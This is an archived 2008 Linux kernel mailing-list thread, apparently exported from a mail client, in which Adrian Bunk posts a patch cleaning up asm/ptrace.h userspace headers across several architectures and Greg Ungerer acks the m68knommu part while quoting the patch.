Original-Received: by beast (Postfix, from userid 1012)
	id A5B10161C12D; Mon, 23 Jun 2008 09:53:32 +1000 (EST)
Content-Disposition: inline
In-Reply-To: <1214134850.2409.2.camel@shinybook.infradead.org>
User-Agent: Mutt/1.5.13 (2006-08-11)
Original-Sender: linux-arch-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-arch.vger.kernel.org>
X-Mailing-List: linux-arch@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.cross-arch:1468 gmane.linux.kernel:696766 gmane.linux.ports.parisc:443 gmane.linux.ports.sh.devel:4046
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/443>


Jivin David Woodhouse lays it down ...
> On Sun, 2008-06-22 at 12:49 +0300, Adrian Bunk wrote:
> > 
> > What about m68knommu?
> > 
> > I don't know whether it was intentionally available there, but the 
> > removal in your patch does not seem to be intentional.
> 
> Hm, true. Well spotted. I think it's probably correct though -- I don't
> think m68knommu can really support a.out binaries, can it?

No it can't.

-- 
David McCullough,  david_mccullough@securecomputing.com,   Ph:+61 734352815
Secure Computing - SnapGear  http://www.uCdot.org   http://www.snapgear.com

From - Thu Nov 08 21:02:26 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Adrian Bunk <bunk@kernel.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel
Subject: [2.6 patch] asm/ptrace.h userspace headers cleanup
Date: Mon, 23 Jun 2008 20:48:09 +0300
Lines: 332
Approved: news@gmane.org
Message-ID: <20080623174809.GE4756@cs181140183.pp.htv.fi>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
X-Trace: ger.gmane.org 1214243422 31788 80.91.229.12 (23 Jun 2008 17:50:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 23 Jun 2008 17:50:22 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org, rmk@arm.linux.org.uk,
	cooloney@kernel.org, dev-etrax@axis.com, dhowells@redhat.com,
	gerg@uclinux.org, yasutake.koichi@jp.panasonic.com,
	linux-parisc@vger.kernel.org, paulus@samba.org,
	linuxppc-dev@ozlabs.org, linux-sh@vger.kernel.org,
	chris@zankel.net, linux-mips@linux-mips.org,
	ysato@users.sourceforge.jp,
	Andrew Morton <akpm@linux-foundation.org>
To: Roland McGrath <roland@redhat.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Jun 23 19:51:05 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KAqBy-0002Ea-H0
	for glpp-linux-parisc@gmane.org; Mon, 23 Jun 2008 19:51:02 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752665AbYFWRuJ (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 23 Jun 2008 13:50:09 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753115AbYFWRuJ
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 23 Jun 2008 13:50:09 -0400
Original-Received: from smtp5.pp.htv.fi ([213.243.153.39]:48356 "EHLO smtp5.pp.htv.fi"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752289AbYFWRuG (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 23 Jun 2008 13:50:06 -0400
Original-Received: from cs181140183.pp.htv.fi (cs181140183.pp.htv.fi [82.181.140.183])
	by smtp5.pp.htv.fi (Postfix) with ESMTP id 65DD55BC00B;
	Mon, 23 Jun 2008 20:50:04 +0300 (EEST)
Content-Disposition: inline
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:444 gmane.linux.kernel:697077 gmane.linux.ports.ppc64.devel:42413 gmane.linux.ports.sh.devel:4047
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/444>

This patch contains the following cleanups for the asm/ptrace.h 
userspace headers:
- include/asm-generic/Kbuild.asm already lists ptrace.h, remove
  the superfluous listings in the Kbuild files of the following
  architectures:
  - cris
  - frv
  - powerpc
  - x86
- don't expose function prototypes and macros to userspace:
  - arm
  - blackfin
  - cris
  - mn10300
  - parisc
- remove #ifdef CONFIG_'s around #define's:
  - blackfin
  - m68knommu
- sh: AFAIK __SH5__ should work in both kernel and userspace,
      no need to leak CONFIG_SUPERH64 to userspace
- xtensa: cosmetical change to remove empty
            #ifndef __ASSEMBLY__ #else #endif
          from the userspace headers

Signed-off-by: Adrian Bunk <bunk@kernel.org>

---

Not changed by this patch is the fact that the following architectures 
have a different struct pt_regs depending on CONFIG_ variables:
- h8300
- m68knommu
- mips

This does not work in userspace.


 include/asm-arm/ptrace.h           |    6 ++----
 include/asm-blackfin/ptrace.h      |    6 ++++--
 include/asm-cris/arch-v10/Kbuild   |    1 -
 include/asm-cris/arch-v10/ptrace.h |    4 ++++
 include/asm-cris/arch-v32/Kbuild   |    1 -
 include/asm-cris/arch-v32/ptrace.h |    4 ++++
 include/asm-cris/ptrace.h          |    4 +++-
 include/asm-frv/Kbuild             |    1 -
 include/asm-m68knommu/ptrace.h     |    2 --
 include/asm-mn10300/ptrace.h       |    8 ++++++--
 include/asm-parisc/ptrace.h        |    4 +++-
 include/asm-powerpc/Kbuild         |    1 -
 include/asm-sh/ptrace.h            |    2 +-
 include/asm-x86/Kbuild             |    1 -
 include/asm-xtensa/ptrace.h        |   10 +++++-----
 15 files changed, 32 insertions(+), 23 deletions(-)

fc14755b77cff7af5ff00e938a4c493a669e25cd diff --git a/include/asm-arm/ptrace.h b/include/asm-arm/ptrace.h
index 7aaa206..8382b75 100644
--- a/include/asm-arm/ptrace.h
+++ b/include/asm-arm/ptrace.h
@@ -139,8 +139,6 @@ static inline int valid_user_regs(struct pt_regs *regs)
 	return 0;
 }
 
-#endif	/* __KERNEL__ */
-
 #define pc_pointer(v) \
 	((v) & ~PCMASK)
 
@@ -153,10 +151,10 @@ extern unsigned long profile_pc(struct pt_regs *regs);
 #define profile_pc(regs) instruction_pointer(regs)
 #endif
 
-#ifdef __KERNEL__
 #define predicate(x)		((x) & 0xf0000000)
 #define PREDICATE_ALWAYS	0xe0000000
-#endif
+
+#endif /* __KERNEL__ */
 
 #endif /* __ASSEMBLY__ */
 
diff --git a/include/asm-blackfin/ptrace.h b/include/asm-blackfin/ptrace.h
index b8346cd..a45a80e 100644
--- a/include/asm-blackfin/ptrace.h
+++ b/include/asm-blackfin/ptrace.h
@@ -83,14 +83,14 @@ struct pt_regs {
 #define PTRACE_GETREGS            12
 #define PTRACE_SETREGS            13	/* ptrace signal  */
 
-#ifdef CONFIG_BINFMT_ELF_FDPIC
 #define PTRACE_GETFDPIC           31
 #define PTRACE_GETFDPIC_EXEC      0
 #define PTRACE_GETFDPIC_INTERP    1
-#endif
 
 #define PS_S  (0x0002)
 
+#ifdef __KERNEL__
+
 /* user_mode returns true if only one bit is set in IPEND, other than the
    master interrupt enable.  */
 #define user_mode(regs) (!(((regs)->ipend & ~0x10) & (((regs)->ipend & ~0x10) - 1)))
@@ -98,6 +98,8 @@ struct pt_regs {
 #define profile_pc(regs) instruction_pointer(regs)
 extern void show_regs(struct pt_regs *);
 
+#endif  /*  __KERNEL__  */
+
 #endif				/* __ASSEMBLY__ */
 
 /*
diff --git a/include/asm-cris/arch-v10/Kbuild b/include/asm-cris/arch-v10/Kbuild
index 60e7e1b..7a192e1 100644
--- a/include/asm-cris/arch-v10/Kbuild
+++ b/include/asm-cris/arch-v10/Kbuild
@@ -1,4 +1,3 @@
-header-y += ptrace.h
 header-y += user.h
 header-y += svinto.h
 header-y += sv_addr_ag.h
diff --git a/include/asm-cris/arch-v10/ptrace.h b/include/asm-cris/arch-v10/ptrace.h
index fb14c5e..2f464ea 100644
--- a/include/asm-cris/arch-v10/ptrace.h
+++ b/include/asm-cris/arch-v10/ptrace.h
@@ -106,10 +106,14 @@ struct switch_stack {
 	unsigned long return_ip; /* ip that _resume will return to */
 };
 
+#ifdef __KERNEL__
+
 /* bit 8 is user-mode flag */
 #define user_mode(regs) (((regs)->dccr & 0x100) != 0)
 #define instruction_pointer(regs) ((regs)->irp)
 #define profile_pc(regs) instruction_pointer(regs)
 extern void show_regs(struct pt_regs *);
 
+#endif  /*  __KERNEL__  */
+
 #endif
diff --git a/include/asm-cris/arch-v32/Kbuild b/include/asm-cris/arch-v32/Kbuild
index a0ec545..35f2fc4 100644
--- a/include/asm-cris/arch-v32/Kbuild
+++ b/include/asm-cris/arch-v32/Kbuild
@@ -1,3 +1,2 @@
-header-y += ptrace.h
 header-y += user.h
 header-y += cryptocop.h
diff --git a/include/asm-cris/arch-v32/ptrace.h b/include/asm-cris/arch-v32/ptrace.h
index 516cc70..41f4e86 100644
--- a/include/asm-cris/arch-v32/ptrace.h
+++ b/include/asm-cris/arch-v32/ptrace.h
@@ -106,9 +106,13 @@ struct switch_stack {
 	unsigned long return_ip; /* ip that _resume will return to */
 };
 
+#ifdef __KERNEL__
+
 #define user_mode(regs) (((regs)->ccs & (1 << (U_CCS_BITNR + CCS_SHIFT))) != 0)
 #define instruction_pointer(regs) ((regs)->erp)
 extern void show_regs(struct pt_regs *);
 #define profile_pc(regs) instruction_pointer(regs)
 
+#endif  /*  __KERNEL__  */
+
 #endif
diff --git a/include/asm-cris/ptrace.h b/include/asm-cris/ptrace.h
index 1ec69a7..d910925 100644
--- a/include/asm-cris/ptrace.h
+++ b/include/asm-cris/ptrace.h
@@ -4,11 +4,13 @@
 #include <asm/arch/ptrace.h>
 
 #ifdef __KERNEL__
+
 /* Arbitrarily choose the same ptrace numbers as used by the Sparc code. */
 #define PTRACE_GETREGS            12
 #define PTRACE_SETREGS            13
-#endif
 
 #define profile_pc(regs) instruction_pointer(regs)
 
+#endif /* __KERNEL__ */
+
 #endif /* _CRIS_PTRACE_H */
diff --git a/include/asm-frv/Kbuild b/include/asm-frv/Kbuild
index bc3f12c..0f8956d 100644
--- a/include/asm-frv/Kbuild
+++ b/include/asm-frv/Kbuild
@@ -3,4 +3,3 @@ include include/asm-generic/Kbuild.asm
 header-y += registers.h
 
 unifdef-y += termios.h
-unifdef-y += ptrace.h
diff --git a/include/asm-m68knommu/ptrace.h b/include/asm-m68knommu/ptrace.h
index 47258e8..8c9194b 100644
--- a/include/asm-m68knommu/ptrace.h
+++ b/include/asm-m68knommu/ptrace.h
@@ -68,10 +68,8 @@ struct switch_stack {
 /* Arbitrarily choose the same ptrace numbers as used by the Sparc code. */
 #define PTRACE_GETREGS            12
 #define PTRACE_SETREGS            13
-#ifdef CONFIG_FPU
 #define PTRACE_GETFPREGS          14
 #define PTRACE_SETFPREGS          15
-#endif
 
 #ifdef __KERNEL__
 
diff --git a/include/asm-mn10300/ptrace.h b/include/asm-mn10300/ptrace.h
index b368468..7b06cc6 100644
--- a/include/asm-mn10300/ptrace.h
+++ b/include/asm-mn10300/ptrace.h
@@ -88,12 +88,16 @@ extern struct pt_regs *__frame; /* current frame pointer */
 /* options set using PTRACE_SETOPTIONS */
 #define PTRACE_O_TRACESYSGOOD     0x00000001
 
-#if defined(__KERNEL__) && !defined(__ASSEMBLY__)
+#if defined(__KERNEL__)
+
+#if !defined(__ASSEMBLY__)
 #define user_mode(regs)			(((regs)->epsw & EPSW_nSL) == EPSW_nSL)
 #define instruction_pointer(regs)	((regs)->pc)
 extern void show_regs(struct pt_regs *);
-#endif
+#endif  /*  !__ASSEMBLY  */
 
 #define profile_pc(regs) ((regs)->pc)
 
+#endif  /*  __KERNEL__  */
+
 #endif /* _ASM_PTRACE_H */
diff --git a/include/asm-parisc/ptrace.h b/include/asm-parisc/ptrace.h
index 93f990e..3e94c5d 100644
--- a/include/asm-parisc/ptrace.h
+++ b/include/asm-parisc/ptrace.h
@@ -33,7 +33,6 @@ struct pt_regs {
 	unsigned long ipsw;	/* CR22 */
 };
 
-#define task_regs(task) ((struct pt_regs *) ((char *)(task) + TASK_REGS))
 /*
  * The numbers chosen here are somewhat arbitrary but absolutely MUST
  * not overlap with any of the number assigned in <linux/ptrace.h>.
@@ -43,8 +42,11 @@ struct pt_regs {
  * since we have taken branch traps too)
  */
 #define PTRACE_SINGLEBLOCK	12	/* resume execution until next branch */
+
 #ifdef __KERNEL__
 
+#define task_regs(task) ((struct pt_regs *) ((char *)(task) + TASK_REGS))
+
 /* XXX should we use iaoq[1] or iaoq[0] ? */
 #define user_mode(regs)			(((regs)->iaoq[0] & 3) ? 1 : 0)
 #define user_space(regs)		(((regs)->iasq[1] != 0) ? 1 : 0)
diff --git a/include/asm-powerpc/Kbuild b/include/asm-powerpc/Kbuild
index 7381916..6920904 100644
--- a/include/asm-powerpc/Kbuild
+++ b/include/asm-powerpc/Kbuild
@@ -32,7 +32,6 @@ unifdef-y += elf.h
 unifdef-y += nvram.h
 unifdef-y += param.h
 unifdef-y += posix_types.h
-unifdef-y += ptrace.h
 unifdef-y += seccomp.h
 unifdef-y += signal.h
 unifdef-y += spu_info.h
diff --git a/include/asm-sh/ptrace.h b/include/asm-sh/ptrace.h
index 8d6c92b..7d36dc3 100644
--- a/include/asm-sh/ptrace.h
+++ b/include/asm-sh/ptrace.h
@@ -5,7 +5,7 @@
  * Copyright (C) 1999, 2000  Niibe Yutaka
  *
  */
-#if defined(__SH5__) || defined(CONFIG_SUPERH64)
+#if defined(__SH5__)
 struct pt_regs {
 	unsigned long long pc;
 	unsigned long long sr;
diff --git a/include/asm-x86/Kbuild b/include/asm-x86/Kbuild
index 1e35545..00473f7 100644
--- a/include/asm-x86/Kbuild
+++ b/include/asm-x86/Kbuild
@@ -19,7 +19,6 @@ unifdef-y += msr.h
 unifdef-y += mtrr.h
 unifdef-y += posix_types_32.h
 unifdef-y += posix_types_64.h
-unifdef-y += ptrace.h
 unifdef-y += unistd_32.h
 unifdef-y += unistd_64.h
 unifdef-y += vm86.h
diff --git a/include/asm-xtensa/ptrace.h b/include/asm-xtensa/ptrace.h
index 422c73e..089b0db 100644
--- a/include/asm-xtensa/ptrace.h
+++ b/include/asm-xtensa/ptrace.h
@@ -73,10 +73,10 @@
 #define PTRACE_GETXTREGS	18
 #define PTRACE_SETXTREGS	19
 
-#ifndef __ASSEMBLY__
-
 #ifdef __KERNEL__
 
+#ifndef __ASSEMBLY__
+
 /*
  * This struct defines the way the registers are stored on the
  * kernel stack during a system call or other kernel entry.
@@ -122,14 +122,14 @@ extern void show_regs(struct pt_regs *);
 # ifndef CONFIG_SMP
 #  define profile_pc(regs) instruction_pointer(regs)
 # endif
-#endif /* __KERNEL__ */
 
 #else	/* __ASSEMBLY__ */
 
-#ifdef __KERNEL__
 # include <asm/asm-offsets.h>
 #define PT_REGS_OFFSET	  (KERNEL_STACK_SIZE - PT_USER_SIZE)
-#endif
 
 #endif	/* !__ASSEMBLY__ */
+
+#endif  /* __KERNEL__ */
+
 #endif	/* _XTENSA_PTRACE_H */

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Greg Ungerer <gerg@snapgear.com>
Newsgroups: gmane.linux.ports.sh.devel,gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel
Subject: Re: [2.6 patch] asm/ptrace.h userspace headers cleanup
Date: Tue, 24 Jun 2008 10:15:52 +1000
Lines: 354
Approved: news@gmane.org
Message-ID: <48603CB8.1020903@snapgear.com>
References: <20080623174809.GE4756@cs181140183.pp.htv.fi>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1214266653 14454 80.91.229.12 (24 Jun 2008 00:17:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 24 Jun 2008 00:17:33 +0000 (UTC)
Cc: Roland McGrath <roland@redhat.com>, linux-kernel@vger.kernel.org,
	rmk@arm.linux.org.uk, cooloney@kernel.org, dev-etrax@axis.com,
	dhowells@redhat.com, gerg@uclinux.org,
	yasutake.koichi@jp.panasonic.com, linux-parisc@vger.kernel.org,
	paulus@samba.org, linuxppc-dev@ozlabs.org,
	linux-sh@vger.kernel.org, chris@zankel.net,
	linux-mips@linux-mips.org, ysato@users.sourceforge.jp,
	Andrew Morton <akpm@linux-foundation.org>
To: Adrian Bunk <bunk@kernel.org>
Original-X-From: linux-sh-owner@vger.kernel.org Tue Jun 24 02:18:14 2008
Return-path: <linux-sh-owner@vger.kernel.org>
Envelope-to: glps-linuxsh-dev@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KAwEf-00072N-CB
	for glps-linuxsh-dev@gmane.org; Tue, 24 Jun 2008 02:18:14 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753863AbYFXARV (ORCPT <rfc822;glps-linuxsh-dev@m.gmane.org>);
	Mon, 23 Jun 2008 20:17:21 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752934AbYFXARV
	(ORCPT <rfc822;linux-sh-outgoing>); Mon, 23 Jun 2008 20:17:21 -0400
Original-Received: from rex.securecomputing.com ([203.24.151.4]:57841 "EHLO
	cyberguard.com.au" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
	with ESMTP id S1751658AbYFXART (ORCPT
	<rfc822;linux-sh@vger.kernel.org>); Mon, 23 Jun 2008 20:17:19 -0400
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by bne.snapgear.com (Postfix) with ESMTP id E4885EB550;
	Tue, 24 Jun 2008 10:17:16 +1000 (EST)
X-Virus-Scanned: amavisd-new at snapgear.com
Original-Received: from bne.snapgear.com ([127.0.0.1])
	by localhost (bne.snapgear.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 003VP41hC1+5; Tue, 24 Jun 2008 10:17:14 +1000 (EST)
Original-Received: from [10.46.12.2] (unknown [10.46.12.2])
	by bne.snapgear.com (Postfix) with ESMTP;
	Tue, 24 Jun 2008 10:17:14 +1000 (EST)
User-Agent: Thunderbird 2.0.0.14 (X11/20080501)
In-Reply-To: <20080623174809.GE4756@cs181140183.pp.htv.fi>
Original-Sender: linux-sh-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-sh.vger.kernel.org>
X-Mailing-List: linux-sh@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.sh.devel:4048 gmane.linux.kernel:697261 gmane.linux.ports.parisc:445 gmane.linux.ports.ppc64.devel:42432
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/445>

Hi Adrian,

Adrian Bunk wrote:
> This patch contains the following cleanups for the asm/ptrace.h 
> userspace headers:
> - include/asm-generic/Kbuild.asm already lists ptrace.h, remove
>   the superfluous listings in the Kbuild files of the following
>   architectures:
>   - cris
>   - frv
>   - powerpc
>   - x86
> - don't expose function prototypes and macros to userspace:
>   - arm
>   - blackfin
>   - cris
>   - mn10300
>   - parisc
> - remove #ifdef CONFIG_'s around #define's:
>   - blackfin
>   - m68knommu
> - sh: AFAIK __SH5__ should work in both kernel and userspace,
>       no need to leak CONFIG_SUPERH64 to userspace
> - xtensa: cosmetical change to remove empty
>             #ifndef __ASSEMBLY__ #else #endif
>           from the userspace headers
> 
> Signed-off-by: Adrian Bunk <bunk@kernel.org>

The m68knommu looks ok.

Acked-by: Greg Ungerer <gerg@uclinux.org>


> ---
> 
> Not changed by this patch is the fact that the following architectures 
> have a different struct pt_regs depending on CONFIG_ variables:
> - h8300
> - m68knommu
> - mips
> 
> This does not work in userspace.

Let me do something about that for m68knommu.

Regards
Greg



>  include/asm-arm/ptrace.h           |    6 ++----
>  include/asm-blackfin/ptrace.h      |    6 ++++--
>  include/asm-cris/arch-v10/Kbuild   |    1 -
>  include/asm-cris/arch-v10/ptrace.h |    4 ++++
>  include/asm-cris/arch-v32/Kbuild   |    1 -
>  include/asm-cris/arch-v32/ptrace.h |    4 ++++
>  include/asm-cris/ptrace.h          |    4 +++-
>  include/asm-frv/Kbuild             |    1 -
>  include/asm-m68knommu/ptrace.h     |    2 --
>  include/asm-mn10300/ptrace.h       |    8 ++++++--
>  include/asm-parisc/ptrace.h        |    4 +++-
>  include/asm-powerpc/Kbuild         |    1 -
>  include/asm-sh/ptrace.h            |    2 +-
>  include/asm-x86/Kbuild             |    1 -
>  include/asm-xtensa/ptrace.h        |   10 +++++-----
>  15 files changed, 32 insertions(+), 23 deletions(-)
> 
> fc14755b77cff7af5ff00e938a4c493a669e25cd diff --git a/include/asm-arm/ptrace.h b/include/asm-arm/ptrace.h
> index 7aaa206..8382b75 100644
> --- a/include/asm-arm/ptrace.h
> +++ b/include/asm-arm/ptrace.h
> @@ -139,8 +139,6 @@ static inline int valid_user_regs(struct pt_regs *regs)
>  	return 0;
>  }
>  
> -#endif	/* __KERNEL__ */
> -
>  #define pc_pointer(v) \
>  	((v) & ~PCMASK)
>  
> @@ -153,10 +151,10 @@ extern unsigned long profile_pc(struct pt_regs *regs);
>  #define profile_pc(regs) instruction_pointer(regs)
>  #endif
>  
> -#ifdef __KERNEL__
>  #define predicate(x)		((x) & 0xf0000000)
>  #define PREDICATE_ALWAYS	0xe0000000
> -#endif
> +
> +#endif /* __KERNEL__ */
>  
>  #endif /* __ASSEMBLY__ */
>  
> diff --git a/include/asm-blackfin/ptrace.h b/include/asm-blackfin/ptrace.h
> index b8346cd..a45a80e 100644
> --- a/include/asm-blackfin/ptrace.h
> +++ b/include/asm-blackfin/ptrace.h
> @@ -83,14 +83,14 @@ struct pt_regs {
>  #define PTRACE_GETREGS            12
>  #define PTRACE_SETREGS            13	/* ptrace signal  */
>  
> -#ifdef CONFIG_BINFMT_ELF_FDPIC
>  #define PTRACE_GETFDPIC           31
>  #define PTRACE_GETFDPIC_EXEC      0
>  #define PTRACE_GETFDPIC_INTERP    1
> -#endif
>  
>  #define PS_S  (0x0002)
>  
> +#ifdef __KERNEL__
> +
>  /* user_mode returns true if only one bit is set in IPEND, other than the
>     master interrupt enable.  */
>  #define user_mode(regs) (!(((regs)->ipend & ~0x10) & (((regs)->ipend & ~0x10) - 1)))
> @@ -98,6 +98,8 @@ struct pt_regs {
>  #define profile_pc(regs) instruction_pointer(regs)
>  extern void show_regs(struct pt_regs *);
>  
> +#endif  /*  __KERNEL__  */
> +
>  #endif				/* __ASSEMBLY__ */
>  
>  /*
> diff --git a/include/asm-cris/arch-v10/Kbuild b/include/asm-cris/arch-v10/Kbuild
> index 60e7e1b..7a192e1 100644
> --- a/include/asm-cris/arch-v10/Kbuild
> +++ b/include/asm-cris/arch-v10/Kbuild
> @@ -1,4 +1,3 @@
> -header-y += ptrace.h
>  header-y += user.h
>  header-y += svinto.h
>  header-y += sv_addr_ag.h
> diff --git a/include/asm-cris/arch-v10/ptrace.h b/include/asm-cris/arch-v10/ptrace.h
> index fb14c5e..2f464ea 100644
> --- a/include/asm-cris/arch-v10/ptrace.h
> +++ b/include/asm-cris/arch-v10/ptrace.h
> @@ -106,10 +106,14 @@ struct switch_stack {
>  	unsigned long return_ip; /* ip that _resume will return to */
>  };
>  
> +#ifdef __KERNEL__
> +
>  /* bit 8 is user-mode flag */
>  #define user_mode(regs) (((regs)->dccr & 0x100) != 0)
>  #define instruction_pointer(regs) ((regs)->irp)
>  #define profile_pc(regs) instruction_pointer(regs)
>  extern void show_regs(struct pt_regs *);
>  
> +#endif  /*  __KERNEL__  */
> +
>  #endif
> diff --git a/include/asm-cris/arch-v32/Kbuild b/include/asm-cris/arch-v32/Kbuild
> index a0ec545..35f2fc4 100644
> --- a/include/asm-cris/arch-v32/Kbuild
> +++ b/include/asm-cris/arch-v32/Kbuild
> @@ -1,3 +1,2 @@
> -header-y += ptrace.h
>  header-y += user.h
>  header-y += cryptocop.h
> diff --git a/include/asm-cris/arch-v32/ptrace.h b/include/asm-cris/arch-v32/ptrace.h
> index 516cc70..41f4e86 100644
> --- a/include/asm-cris/arch-v32/ptrace.h
> +++ b/include/asm-cris/arch-v32/ptrace.h
> @@ -106,9 +106,13 @@ struct switch_stack {
>  	unsigned long return_ip; /* ip that _resume will return to */
>  };
>  
> +#ifdef __KERNEL__
> +
>  #define user_mode(regs) (((regs)->ccs & (1 << (U_CCS_BITNR + CCS_SHIFT))) != 0)
>  #define instruction_pointer(regs) ((regs)->erp)
>  extern void show_regs(struct pt_regs *);
>  #define profile_pc(regs) instruction_pointer(regs)
>  
> +#endif  /*  __KERNEL__  */
> +
>  #endif
> diff --git a/include/asm-cris/ptrace.h b/include/asm-cris/ptrace.h
> index 1ec69a7..d910925 100644
> --- a/include/asm-cris/ptrace.h
> +++ b/include/asm-cris/ptrace.h
> @@ -4,11 +4,13 @@
>  #include <asm/arch/ptrace.h>
>  
>  #ifdef __KERNEL__
> +
>  /* Arbitrarily choose the same ptrace numbers as used by the Sparc code. */
>  #define PTRACE_GETREGS            12
>  #define PTRACE_SETREGS            13
> -#endif
>  
>  #define profile_pc(regs) instruction_pointer(regs)
>  
> +#endif /* __KERNEL__ */
> +
>  #endif /* _CRIS_PTRACE_H */
> diff --git a/include/asm-frv/Kbuild b/include/asm-frv/Kbuild
> index bc3f12c..0f8956d 100644
> --- a/include/asm-frv/Kbuild
> +++ b/include/asm-frv/Kbuild
> @@ -3,4 +3,3 @@ include include/asm-generic/Kbuild.asm
>  header-y += registers.h
>  
>  unifdef-y += termios.h
> -unifdef-y += ptrace.h
> diff --git a/include/asm-m68knommu/ptrace.h b/include/asm-m68knommu/ptrace.h
> index 47258e8..8c9194b 100644
> --- a/include/asm-m68knommu/ptrace.h
> +++ b/include/asm-m68knommu/ptrace.h
> @@ -68,10 +68,8 @@ struct switch_stack {
>  /* Arbitrarily choose the same ptrace numbers as used by the Sparc code. */
>  #define PTRACE_GETREGS            12
>  #define PTRACE_SETREGS            13
> -#ifdef CONFIG_FPU
>  #define PTRACE_GETFPREGS          14
>  #define PTRACE_SETFPREGS          15
> -#endif
>  
>  #ifdef __KERNEL__
>  
> diff --git a/include/asm-mn10300/ptrace.h b/include/asm-mn10300/ptrace.h
> index b368468..7b06cc6 100644
> --- a/include/asm-mn10300/ptrace.h
> +++ b/include/asm-mn10300/ptrace.h
> @@ -88,12 +88,16 @@ extern struct pt_regs *__frame; /* current frame pointer */
>  /* options set using PTRACE_SETOPTIONS */
>  #define PTRACE_O_TRACESYSGOOD     0x00000001
>  
> -#if defined(__KERNEL__) && !defined(__ASSEMBLY__)
> +#if defined(__KERNEL__)
> +
> +#if !defined(__ASSEMBLY__)
>  #define user_mode(regs)			(((regs)->epsw & EPSW_nSL) == EPSW_nSL)
>  #define instruction_pointer(regs)	((regs)->pc)
>  extern void show_regs(struct pt_regs *);
> -#endif
> +#endif  /*  !__ASSEMBLY  */
>  
>  #define profile_pc(regs) ((regs)->pc)
>  
> +#endif  /*  __KERNEL__  */
> +
>  #endif /* _ASM_PTRACE_H */
> diff --git a/include/asm-parisc/ptrace.h b/include/asm-parisc/ptrace.h
> index 93f990e..3e94c5d 100644
> --- a/include/asm-parisc/ptrace.h
> +++ b/include/asm-parisc/ptrace.h
> @@ -33,7 +33,6 @@ struct pt_regs {
>  	unsigned long ipsw;	/* CR22 */
>  };
>  
> -#define task_regs(task) ((struct pt_regs *) ((char *)(task) + TASK_REGS))
>  /*
>   * The numbers chosen here are somewhat arbitrary but absolutely MUST
>   * not overlap with any of the number assigned in <linux/ptrace.h>.
> @@ -43,8 +42,11 @@ struct pt_regs {
>   * since we have taken branch traps too)
>   */
>  #define PTRACE_SINGLEBLOCK	12	/* resume execution until next branch */
> +
>  #ifdef __KERNEL__
>  
> +#define task_regs(task) ((struct pt_regs *) ((char *)(task) + TASK_REGS))
> +
>  /* XXX should we use iaoq[1] or iaoq[0] ? */
>  #define user_mode(regs)			(((regs)->iaoq[0] & 3) ? 1 : 0)
>  #define user_space(regs)		(((regs)->iasq[1] != 0) ? 1 : 0)
> diff --git a/include/asm-powerpc/Kbuild b/include/asm-powerpc/Kbuild
> index 7381916..6920904 100644
> --- a/include/asm-powerpc/Kbuild
> +++ b/include/asm-powerpc/Kbuild
> @@ -32,7 +32,6 @@ unifdef-y += elf.h
>  unifdef-y += nvram.h
>  unifdef-y += param.h
>  unifdef-y += posix_types.h
> -unifdef-y += ptrace.h
>  unifdef-y += seccomp.h
>  unifdef-y += signal.h
>  unifdef-y += spu_info.h
> diff --git a/include/asm-sh/ptrace.h b/include/asm-sh/ptrace.h
> index 8d6c92b..7d36dc3 100644
> --- a/include/asm-sh/ptrace.h
> +++ b/include/asm-sh/ptrace.h
> @@ -5,7 +5,7 @@
>   * Copyright (C) 1999, 2000  Niibe Yutaka
>   *
>   */
> -#if defined(__SH5__) || defined(CONFIG_SUPERH64)
> +#if defined(__SH5__)
>  struct pt_regs {
>  	unsigned long long pc;
>  	unsigned long long sr;
> diff --git a/include/asm-x86/Kbuild b/include/asm-x86/Kbuild
> index 1e35545..00473f7 100644
> --- a/include/asm-x86/Kbuild
